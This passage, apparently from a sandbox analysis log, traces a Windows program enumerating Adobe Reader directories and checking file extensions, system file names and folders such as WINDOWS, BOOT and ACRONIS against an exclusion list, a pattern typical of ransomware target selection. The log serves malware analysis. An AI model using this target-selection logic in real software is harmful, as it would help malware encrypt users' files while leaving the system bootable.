dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0029.694] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0029.694] FindNextFileW (in: hFindFile=0x718718, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x718718, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x718718, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0029.694] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0x0, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Llegiu-me.htm", cAlternateFileName="LLEGIU~1.HTM")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0029.695] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0029.696] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.699] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.700] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.702] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.702] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.705] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.706] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.706] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.707] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.707] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.708] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.708] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.709] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.709] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.710] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.710] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.711] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.711] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.713] CharUpperBuffW (in: lpsz=".pdf", cchLength=0x4 | out: lpsz=".PDF") returned 0x4 [0029.713] CharUpperBuffW (in: lpsz="DefaultID.pdf", cchLength=0xd | out: lpsz="DEFAULTID.PDF") returned 0xd [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.714] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: 